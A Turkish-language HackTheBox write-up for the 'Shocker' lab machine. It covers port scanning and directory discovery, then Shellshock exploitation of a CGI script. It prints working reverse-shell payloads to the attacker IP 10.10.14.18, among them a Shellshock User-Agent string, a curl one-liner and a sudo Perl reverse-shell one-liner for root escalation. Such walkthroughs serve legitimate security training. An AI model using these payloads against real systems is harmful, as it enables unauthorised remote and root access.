Shocker / HackTheBox Write-Up

Shocker isminden de anlaşılacağı üzere “Shellshock” zafiyetini barındıran bir kurgu içeren makinedir.
Örn. Shellshock kullanımına ait kod aşağıda verilmiştir.
() { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.18/5555 0>&1İlgili zafiyet hakkında detaylı bilgi almak için aşağıda linki verilen Türkçe içeriği okuyabilirsiniz.
https://medium.com/@nuriyavuz2.71/shellshock-bash-bug-zafiyeti-nedir-8b5d20f71a0d
Sistem üzerindeki portlarda hangi servislerin çalıştığını bulmak için nmap ile port taraması yapıyoruz.
nmap -n -Pn — open -p- 10.10.10.56Tespit edilen port taraması aşağıdaki ekran görüntüsünde verilmiştir.

Çalışan servisler üzerinde versiyon taraması yapmak için aşağıdaki kodu kullanıyoruz.
nmap -n -Pn -sV -p80,2222 10.10.10.56
CTF’ lerde HTTP(s) hizmeti varsa ilk yapacağımız şey ilgili sayfayı ziyaret etmek, sayfa kaynağını görüntülemek, dizin ve dosya taraması yapmak.
Eğer aşağıdaki gibi resim bulunduran bir sayfada resmi download edip aşağıdaki araçlarla resim içinde yer alabilecek ifadeleri araştırabiliriz.
strings
exiftool
cat

Resimden bir ipucu bulamadık. Klasik web toolları ile keşif yapmaya devam ediyoruz. Aşağıdaki toolları kullanmaya başlıyoruz.
nikto
gobuster
dirb
dirbuster
“dirbuster” aracı ile ekran görüntüsünde görüldüğü üzere “recursive” modda “php, aspx, sh, py, pl” extensiona sahip dosyaları da tek toolda aratabiliriz.

Uygulama ile bulunan dizin ve dosyalar aşağıdaki ekran görüntüsünde verilmiştir. Görüldüğü gibi “user.sh” scripti bulduk.

İlgili scripti download ederek içeriğine göz atıyoruz.

İlgili scripti incelediğimizde uptime test script kelimeleri bize bu scriptin crontab gibi belirli bir zamanda tetiklenen bir script olduğunu hatırlatıyor. Adından da anlaşılacağı gibi herhangi bir kullanıcıya ait bir script ise biz bu scripti mevcut kullanıcının yetkileriyler reverse shell almak için kullanabiliriz.

İlgili sayfaya “Burp Proxy” ile istek atıyoruz.

İsteğimiz üzerinde “User-Agent” headerına aşağıdaki şekilde shellshock ile “ls” komutunu giriyoruz.
() { :; }; echo; /bin/ls
İlgili komut aşağıdaki şekilde istekte gönderilmiştir.

Bu istek ile birlikte “ls” komutunu “binary” olarak çalıştırarak mevcut dizin içeriğini listeliyoruz.
İstek ve dönen yanıta ait ekran görüntüsü aşağıda verilmiştir. Ekran görüntüsünde görüldüğü üzere mevcut dizinde “user.sh” dosyası bulunmaktadır.

Binary olarak “ls” komutunu kullanıyorsak bu komutu çalıştırıp hatta çalıştırırken de reverse shell için payload yazarak bir ters bağlantı alabiliriz.
Payloadımızı hazırlamak için IP adresimizi öğrenelim.

443 portumuzu dinlemeye alıyoruz.

Aşağıdaki ekran görüntüsünde görüleceği üzere Burp üzerinden gönderdiğimiz istekte shellshock ile reverse bağlantı isteği attık ve lokalimizde 443 portuna anında bir istek geldi ancak bağlantı sağlayamadık.

Bu sefer Burp üzerindeki istegimizi aşağıdaki kod ile yine binary üzerinden göndermeyi deniyoruz. Aşağıdaki kod ile gerçekleştirilen istekte bu sefer reverse shell elde ettik.
() { :; }; echo; /bin/bash -i >& /dev/tcp/10.10.14.18/443 0>&1
Burada “Burp” e alternatif olarak “curl” uygulamasını da kullanabilirdik. Aşağıdaki şekilde kullanabiliriz.
curl -H “User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.18/443 0>&1” http://10.10.10.56:80/cgi-bin/user.shİlk bayrağı alıyoruz.

Shell elde ettikten sonra ilk bakılacak komutlardan olan “sudo” komutu ile mevcut kullanıcının ilgili komut ile çalıştırabileceği komutlara bakıyoruz. Aşağıdaki ekran görüntüsünde görüleceği üzere “perl” ile sudo haklarıyla herşeyi yapabileceğimizi öğreniyoruz.

“perl” ile bir reverse shell payloadının olduğunu zaten bilmemiz gerek.
İlgili komutu kutsal kaynaktan alıyoruz.

Komutu kendimize göre yeniden düzenliyoruz.
sudo perl -e ‘use Socket;$i=”10.10.14.18";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’Lokalimizde yine “nc” ile 4444 portumuzu dinlemeye alıyoruz.

Şimdi ise hedef sistem üzerinde sudo perl ile reverse tcp bağlantısını verecek komutu çalıştırıyoruz.

Aşağıdaki ekran görüntüsünde görüleceği üzere sudo haklarıyla çalıştırdığımız için reverse tcp bağlantıyı da root haklarıyla almış bulunmaktayız.

